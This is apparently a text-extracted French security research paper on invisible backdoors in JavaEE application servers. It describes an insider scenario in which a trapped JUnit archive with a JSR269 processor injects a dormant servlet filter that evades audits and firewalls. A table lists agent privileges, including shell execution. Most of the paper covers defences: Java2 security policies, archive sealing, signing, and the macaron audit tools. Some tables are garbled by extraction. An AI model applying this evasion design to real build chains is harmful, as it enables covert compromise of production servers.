La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
